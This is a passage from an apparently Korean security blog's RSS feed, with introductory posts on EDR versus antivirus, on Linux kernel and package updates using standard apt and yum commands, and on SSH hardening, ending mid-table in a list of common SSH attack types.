&lt;td data-end=&quot;725&quot; data-start=&quot;704&quot; data-col-size=&quot;sm&quot;&gt;주로 바이러스 및 악성코드 탐지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;775&quot; data-start=&quot;726&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;741&quot; data-start=&quot;726&quot;&gt;&lt;b&gt;실시간 모니터링&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;755&quot; data-start=&quot;741&quot; data-col-size=&quot;sm&quot;&gt;가능 (지속적 감시)&lt;/td&gt;
&lt;td data-end=&quot;775&quot; data-start=&quot;755&quot; data-col-size=&quot;sm&quot;&gt;일부 가능 (주로 수동 스캔)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;822&quot; data-start=&quot;776&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;788&quot; data-start=&quot;776&quot;&gt;&lt;b&gt;반응 기능&lt;/b&gt;&lt;/td&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;808&quot; data-start=&quot;788&quot;&gt;자동 차단, 격리, 포렌식 제공&lt;/td&gt;
&lt;td data-end=&quot;822&quot; data-start=&quot;808&quot; data-col-size=&quot;sm&quot;&gt;주로 치료 및 삭제&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;867&quot; data-start=&quot;823&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;835&quot; data-start=&quot;823&quot;&gt;&lt;b&gt;위협 분석&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;850&quot; data-start=&quot;835&quot; data-col-size=&quot;sm&quot;&gt;공격 경로 분석, 추적&lt;/td&gt;
&lt;td data-end=&quot;867&quot; data-start=&quot;850&quot; data-col-size=&quot;sm&quot;&gt;악성코드 정의 기반 탐지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;920&quot; data-start=&quot;868&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;877&quot; data-start=&quot;868&quot;&gt;&lt;b&gt;대상&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;896&quot; data-start=&quot;877&quot; data-col-size=&quot;sm&quot;&gt;고도화된 공격, 멀웨어, 해킹&lt;/td&gt;
&lt;td data-end=&quot;920&quot; data-start=&quot;896&quot; data-col-size=&quot;sm&quot;&gt;바이러스, 트로이목마, 스파이웨어 등&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;925&quot; data-start=&quot;922&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;951&quot; data-start=&quot;927&quot;&gt;  2. 백신 (Antivirus)란?&lt;/h1&gt;
&lt;p data-end=&quot;1027&quot; data-start=&quot;953&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;백신은 &lt;b&gt;컴퓨터에 침입하는 악성코드(바이러스, 트로이목마, 웜 등)를 탐지하고 제거하는 보안 프로그램&lt;/b&gt;이야.&lt;/p&gt;
&lt;p data-end=&quot;1033&quot; data-start=&quot;1029&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;1096&quot; data-start=&quot;1035&quot; data-ke-size=&quot;size16&quot;&gt;  &quot;컴퓨터나 서버에 들어오는 악성코드를 탐지하고 치료하는 프로그램으로, 주로 정해진 패턴을 기반으로 검사&quot;&lt;/p&gt;
&lt;hr data-end=&quot;1101&quot; data-start=&quot;1098&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1120&quot; data-start=&quot;1103&quot;&gt;  3. 백신의 주요 기능&lt;/h1&gt;
&lt;p data-end=&quot;1139&quot; data-start=&quot;1122&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;악성코드 탐지&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1179&quot; data-start=&quot;1140&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1179&quot; data-start=&quot;1140&quot;&gt;기존 악성코드 시그니처(Signature)를 기반으로 악성코드 식별&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1197&quot; data-start=&quot;1181&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;실시간 감시&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1238&quot; data-start=&quot;1198&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1238&quot; data-start=&quot;1198&quot;&gt;시스템에 설치된 악성코드가 실행되거나 침입하려 할 때 실시간으로 탐지&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1256&quot; data-start=&quot;1240&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;주기적 스캔&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1296&quot; data-start=&quot;1257&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1296&quot; data-start=&quot;1257&quot;&gt;사용자가 설정한 주기에 따라 파일 시스템을 스캔하고 악성코드를 제거&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1315&quot; data-start=&quot;1298&quot; data-ke-size=&quot;size16&quot;&gt;4️⃣ &lt;b&gt;격리 및 삭제&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1346&quot; data-start=&quot;1316&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1346&quot; data-start=&quot;1316&quot;&gt;발견된 악성코드를 격리하거나 삭제하여 시스템을 보호&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1365&quot; data-start=&quot;1348&quot; data-ke-size=&quot;size16&quot;&gt;5️⃣ &lt;b&gt;백신 업데이트&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1393&quot; data-start=&quot;1366&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1393&quot; data-start=&quot;1366&quot;&gt;최신 바이러스 패턴을 반영한 정기적인 업데이트&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1398&quot; data-start=&quot;1395&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1419&quot; data-start=&quot;1400&quot;&gt;  4. EDR과 백신의 비교&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;구분EDR백신
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;1733&quot; data-start=&quot;1421&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;1733&quot; data-start=&quot;1461&quot;&gt;
&lt;tr data-end=&quot;1511&quot; data-start=&quot;1461&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1473&quot; data-start=&quot;1461&quot;&gt;&lt;b&gt;탐지 방식&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;1491&quot; data-start=&quot;1473&quot; data-col-size=&quot;sm&quot;&gt;행동 기반, AI, 머신러닝&lt;/td&gt;
&lt;td data-end=&quot;1511&quot; data-start=&quot;1491&quot; data-col-size=&quot;sm&quot;&gt;시그니처 기반 (정해진 패턴)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1567&quot; data-start=&quot;1512&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1524&quot; data-start=&quot;1512&quot;&gt;&lt;b&gt;주요 목적&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;1545&quot; data-start=&quot;1524&quot; data-col-size=&quot;sm&quot;&gt;고도화된 공격 및 내부 위협 대응&lt;/td&gt;
&lt;td data-end=&quot;1567&quot; data-start=&quot;1545&quot; data-col-size=&quot;sm&quot;&gt;주로 기존 악성코드 탐지 및 제거&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1624&quot; data-start=&quot;1568&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1580&quot; data-start=&quot;1568&quot;&gt;&lt;b&gt;주요 기능&lt;/b&gt;&lt;/td&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1605&quot; data-start=&quot;1580&quot;&gt;실시간 모니터링, 자동 대응, 사고 분석&lt;/td&gt;
&lt;td data-end=&quot;1624&quot; data-start=&quot;1605&quot; data-col-size=&quot;sm&quot;&gt;악성코드 탐지, 스캔, 삭제&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1680&quot; data-start=&quot;1625&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1637&quot; data-start=&quot;1625&quot;&gt;&lt;b&gt;배포 대상&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;1660&quot; data-start=&quot;1637&quot; data-col-size=&quot;sm&quot;&gt;엔드포인트(PC, 서버, 모바일 등)&lt;/td&gt;
&lt;td data-end=&quot;1680&quot; data-start=&quot;1660&quot; data-col-size=&quot;sm&quot;&gt;엔드포인트 및 클라우드 서비스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1733&quot; data-start=&quot;1681&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1690&quot; data-start=&quot;1681&quot;&gt;&lt;b&gt;비용&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;1709&quot; data-start=&quot;1690&quot; data-col-size=&quot;sm&quot;&gt;상대적으로 고가 (기업 환경)&lt;/td&gt;
&lt;td data-end=&quot;1733&quot; data-start=&quot;1709&quot; data-col-size=&quot;sm&quot;&gt;비교적 저렴 (개인 및 소규모 기업)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;1738&quot; data-start=&quot;1735&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1752&quot; data-start=&quot;1740&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1857&quot; data-start=&quot;1753&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;EDR = 엔드포인트에서 발생할 수 있는 고도화된 위협을 실시간으로 탐지하고 대응하는 보안 솔루션&lt;/b&gt;&lt;br /&gt;&lt;b&gt;백신 = 주로 바이러스와 악성코드를 탐지하고 제거하는 보안 프로그램&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/3. 시스템 보안</category>
      <category>EDR</category>
      <category>시스템 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/376</guid>
      <comments>https://toastfactory.tistory.com/376#entry376comment</comments>
      <pubDate>Mon, 17 Nov 2025 14:17:00 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] Linux 커널/패키지 업데이트란?</title>
      <link>https://toastfactory.tistory.com/375</link>
      <description>&lt;h1 data-end=&quot;74&quot; data-start=&quot;47&quot;&gt;  1. Linux 커널/패키지 업데이트란?&lt;/h1&gt;
&lt;p data-end=&quot;166&quot; data-start=&quot;76&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;Linux 커널/패키지 업데이트는 &lt;b&gt;운영체제의 핵심 구성 요소(커널)와 설치된 소프트웨어 패키지를 최신 버전으로 갱신하는 작업&lt;/b&gt;을 말해.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;286&quot; data-start=&quot;168&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;211&quot; data-start=&quot;168&quot;&gt;&lt;b&gt;커널(Kernel)&lt;/b&gt;: OS의 핵심, 하드웨어와 소프트웨어를 연결&lt;/li&gt;
&lt;li data-end=&quot;258&quot; data-start=&quot;212&quot;&gt;&lt;b&gt;패키지(Package)&lt;/b&gt;: OS에 설치된 프로그램, 라이브러리, 서비스&lt;/li&gt;
&lt;li data-end=&quot;286&quot; data-start=&quot;259&quot;&gt;보안 취약점, 버그 수정, 성능 개선 목적&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;292&quot; data-start=&quot;288&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;341&quot; data-start=&quot;294&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;Linux 시스템을 최신 상태로 유지해 보안 취약점과 버그를 최소화하는 작업&amp;rdquo;&lt;/p&gt;
&lt;hr data-end=&quot;346&quot; data-start=&quot;343&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;378&quot; data-start=&quot;348&quot;&gt;  2. 커널 업데이트(Kernel Update)&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;499&quot; data-start=&quot;380&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;405&quot; data-start=&quot;380&quot;&gt;OS 핵심인 커널 버전을 최신으로 갱신&lt;/li&gt;
&lt;li data-end=&quot;432&quot; data-start=&quot;406&quot;&gt;&lt;b&gt;보안 패치&lt;/b&gt;: 취약점(CVE) 수정&lt;/li&gt;
&lt;li data-end=&quot;470&quot; data-start=&quot;433&quot;&gt;&lt;b&gt;성능/하드웨어 지원 개선&lt;/b&gt;: 최신 드라이버, 기능 추가&lt;/li&gt;
&lt;li data-end=&quot;499&quot; data-start=&quot;471&quot;&gt;&lt;b&gt;주의점&lt;/b&gt;: 재부팅 필요, 호환성 문제 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;527&quot; data-start=&quot;501&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 명령어 (Ubuntu/Debian)&lt;/b&gt;&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;sudo apt update sudo apt upgrade linux-image-generic sudo reboot &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;610&quot; data-start=&quot;607&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;644&quot; data-start=&quot;612&quot;&gt;  3. 패키지 업데이트(Package Update)&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;726&quot; data-start=&quot;646&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;682&quot; data-start=&quot;646&quot;&gt;시스템에 설치된 모든 프로그램과 라이브러리 최신 버전 적용&lt;/li&gt;
&lt;li data-end=&quot;709&quot; data-start=&quot;683&quot;&gt;보안 패치, 기능 개선, 버그 수정 포함&lt;/li&gt;
&lt;li data-end=&quot;726&quot; data-start=&quot;710&quot;&gt;OS 안정성 및 보안 향상&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;754&quot; data-start=&quot;728&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 명령어 (Ubuntu/Debian)&lt;/b&gt;&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;sudo apt update &lt;/span&gt;&lt;span&gt;&lt;span&gt;# 패키지 목록 갱신&lt;/span&gt;&lt;/span&gt;&lt;span&gt; sudo apt upgrade &lt;/span&gt;&lt;span&gt;&lt;span&gt;# 설치된 패키지 업그레이드&lt;/span&gt;&lt;/span&gt;&lt;span&gt; sudo apt full-upgrade &lt;/span&gt;&lt;span&gt;&lt;span&gt;# 필요 시 의존성 패키지까지 업그레이드&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;908&quot; data-start=&quot;884&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 명령어 (RHEL/CentOS)&lt;/b&gt;&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;sudo yum update &lt;/span&gt;&lt;span&gt;&lt;span&gt;# 설치된 패키지 최신화&lt;/span&gt;&lt;/span&gt;&lt;span&gt; sudo yum upgrade &lt;/span&gt;&lt;span&gt;&lt;span&gt;# 시스템 전체 업그레이드&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;997&quot; data-start=&quot;994&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1015&quot; data-start=&quot;999&quot;&gt;  4. 업데이트 중요성&lt;/h1&gt;
&lt;p data-end=&quot;1032&quot; data-start=&quot;1017&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;보안 강화&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1069&quot; data-start=&quot;1033&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1054&quot; data-start=&quot;1033&quot;&gt;취약점 공격 예방(CVE 패치)&lt;/li&gt;
&lt;li data-end=&quot;1069&quot; data-start=&quot;1055&quot;&gt;악성코드/랜섬웨어 대응&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1092&quot; data-start=&quot;1071&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;성능 및 안정성 향상&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1114&quot; data-start=&quot;1093&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1114&quot; data-start=&quot;1093&quot;&gt;버그 수정, 시스템 안정성 개선&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1132&quot; data-start=&quot;1116&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;호환성 확보&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1154&quot; data-start=&quot;1133&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1154&quot; data-start=&quot;1133&quot;&gt;최신 하드웨어, 라이브러리 지원&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1178&quot; data-start=&quot;1156&quot; data-ke-size=&quot;size16&quot;&gt;4️⃣ &lt;b&gt;규제/컴플라이언스 준수&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1212&quot; data-start=&quot;1179&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1212&quot; data-start=&quot;1179&quot;&gt;ISMS-P, ISO 27001 등 보안 규제 준수 필수&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1217&quot; data-start=&quot;1214&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1238&quot; data-start=&quot;1219&quot;&gt;  5. 업데이트 시 주의사항&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1355&quot; data-start=&quot;1240&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1260&quot; data-start=&quot;1240&quot;&gt;업데이트 전 &lt;b&gt;백업 필수&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;1285&quot; data-start=&quot;1261&quot;&gt;커널 업데이트 후 &lt;b&gt;재부팅 필요&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;1311&quot; data-start=&quot;1286&quot;&gt;중요 서버는 &lt;b&gt;점검 후 적용&lt;/b&gt; 권장&lt;/li&gt;
&lt;li data-end=&quot;1355&quot; data-start=&quot;1312&quot;&gt;자동 업데이트(Auto Update) 설정 가능, 하지만 테스트 환경 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1360&quot; data-start=&quot;1357&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1374&quot; data-start=&quot;1362&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1477&quot; data-start=&quot;1375&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Linux 커널/패키지 업데이트 = OS 핵심 구성 요소와 설치된 소프트웨어를 최신 상태로 유지하여 보안 취약점, 버그, 성능 문제를 해결하고 시스템 안정성을 확보하는 작업&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/3. 시스템 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/375</guid>
      <comments>https://toastfactory.tistory.com/375#entry375comment</comments>
      <pubDate>Fri, 14 Nov 2025 14:38:44 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] SSH란?</title>
      <link>https://toastfactory.tistory.com/374</link>
      <description>&lt;h1 data-end=&quot;72&quot; data-start=&quot;59&quot;&gt;  1. SSH란?&lt;/h1&gt;
&lt;p data-end=&quot;159&quot; data-start=&quot;74&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;SSH(Secure Shell)는 &lt;b&gt;네트워크를 통해 원격 서버에 안전하게 접속하고 명령을 실행할 수 있게 해주는 프로토콜&lt;/b&gt;이야.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;229&quot; data-start=&quot;161&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;187&quot; data-start=&quot;161&quot;&gt;암호화 통신을 제공 &amp;rarr; 패킷 스니핑 방지&lt;/li&gt;
&lt;li data-end=&quot;215&quot; data-start=&quot;188&quot;&gt;주로 리눅스/유닉스 서버 원격 관리에 사용&lt;/li&gt;
&lt;li data-end=&quot;229&quot; data-start=&quot;216&quot;&gt;기본 포트: 22&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;234&quot; data-start=&quot;231&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;255&quot; data-start=&quot;236&quot;&gt;  2. SSH 보안의 중요성&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;382&quot; data-start=&quot;257&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;288&quot; data-start=&quot;257&quot;&gt;서버 관리자 계정(root, sudo) 접근 통로&lt;/li&gt;
&lt;li data-end=&quot;315&quot; data-start=&quot;289&quot;&gt;공격자가 SSH를 통해 시스템 제어 가능&lt;/li&gt;
&lt;li data-end=&quot;382&quot; data-start=&quot;316&quot;&gt;무차별 대입(Brute Force), Credential Stuffing, 악성코드 유포 경로로 활용될 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;426&quot; data-start=&quot;384&quot; data-ke-size=&quot;size16&quot;&gt;즉, SSH 보안은 &lt;b&gt;원격 접속 통신을 안전하게 지키는 것&lt;/b&gt;이 핵심임&lt;/p&gt;
&lt;hr data-end=&quot;431&quot; data-start=&quot;428&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;453&quot; data-start=&quot;433&quot;&gt;  3. SSH 보안 강화 방법&lt;/h1&gt;
&lt;p data-end=&quot;470&quot; data-start=&quot;455&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;포트 변경&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;504&quot; data-start=&quot;471&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;504&quot; data-start=&quot;471&quot;&gt;기본 포트 22 &amp;rarr; 다른 번호 사용 (스캐닝 공격 감소)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;528&quot; data-start=&quot;506&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;강력한 인증 방식 적용&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;600&quot; data-start=&quot;529&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;586&quot; data-start=&quot;529&quot;&gt;비밀번호 대신 &lt;b&gt;SSH 키 기반 인증(Public Key Authentication)&lt;/b&gt; 사용&lt;/li&gt;
&lt;li data-end=&quot;600&quot; data-start=&quot;587&quot;&gt;비밀번호 복잡도 강화&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;626&quot; data-start=&quot;602&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;root 직접 로그인 금지&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;695&quot; data-start=&quot;627&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;679&quot; data-start=&quot;627&quot;&gt;/etc/ssh/sshd_config에서 PermitRootLogin no 설정&lt;/li&gt;
&lt;li data-end=&quot;695&quot; data-start=&quot;680&quot;&gt;sudo 권한 사용 권장&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;719&quot; data-start=&quot;697&quot; data-ke-size=&quot;size16&quot;&gt;4️⃣ &lt;b&gt;접근 제어(IP 제한)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;755&quot; data-start=&quot;720&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;755&quot; data-start=&quot;720&quot;&gt;특정 IP만 접속 허용 (방화벽/hosts.allow 사용)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;779&quot; data-start=&quot;757&quot; data-ke-size=&quot;size16&quot;&gt;5️⃣ &lt;b&gt;로그 모니터링 및 경보&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;850&quot; data-start=&quot;780&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;818&quot; data-start=&quot;780&quot;&gt;/var/log/auth.log 등에서 로그인 시도 기록 확인&lt;/li&gt;
&lt;li data-end=&quot;850&quot; data-start=&quot;819&quot;&gt;실패 횟수 초과 시 차단(예: Fail2ban 사용)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;879&quot; data-start=&quot;852&quot; data-ke-size=&quot;size16&quot;&gt;6️⃣ &lt;b&gt;SSH 프로토콜 최신 버전 사용&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;901&quot; data-start=&quot;880&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;901&quot; data-start=&quot;880&quot;&gt;SSH-2 권장 (SSH-1 취약)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;928&quot; data-start=&quot;903&quot; data-ke-size=&quot;size16&quot;&gt;7️⃣ &lt;b&gt;Idle Timeout 설정&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;947&quot; data-start=&quot;929&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;947&quot; data-start=&quot;929&quot;&gt;사용하지 않는 세션 자동 종료&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;952&quot; data-start=&quot;949&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;971&quot; data-start=&quot;954&quot;&gt;  4. SSH 공격 예시&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;공격 유형설명
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;1170&quot; data-start=&quot;973&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;1170&quot; data-start=&quot;1009&quot;&gt;
&lt;tr data-end=&quot;1041&quot; data-start=&quot;1009&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1023&quot; data-start=&quot;1009&quot;&gt;Brute Force&lt;/td&gt;
&lt;td data-end=&quot;1041&quot; data-start=&quot;1023&quot; data-col-size=&quot;sm&quot;&gt;무작위 비밀번호 대입 공격&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1089&quot; data-start=&quot;1042&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1064&quot; data-start=&quot;1042&quot;&gt;Credential Stuffing&lt;/td&gt;
&lt;td data-end=&quot;1089&quot; data-start=&quot;1064&quot; data-col-size=&quot;sm&quot;&gt;탈취한 계정/비밀번호 반복 로그인 시도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1132&quot; data-start=&quot;1090&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1110&quot; data-start=&quot;1090&quot;&gt;Man-in-the-Middle&lt;/td&gt;
&lt;td data-end=&quot;1132&quot; data-start=&quot;1110&quot; data-col-size=&quot;sm&quot;&gt;키 인증 미검증 시 통신 가로채기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1170&quot; data-start=&quot;1133&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1149&quot; data-start=&quot;1133&quot;&gt;Port Scanning&lt;/td&gt;
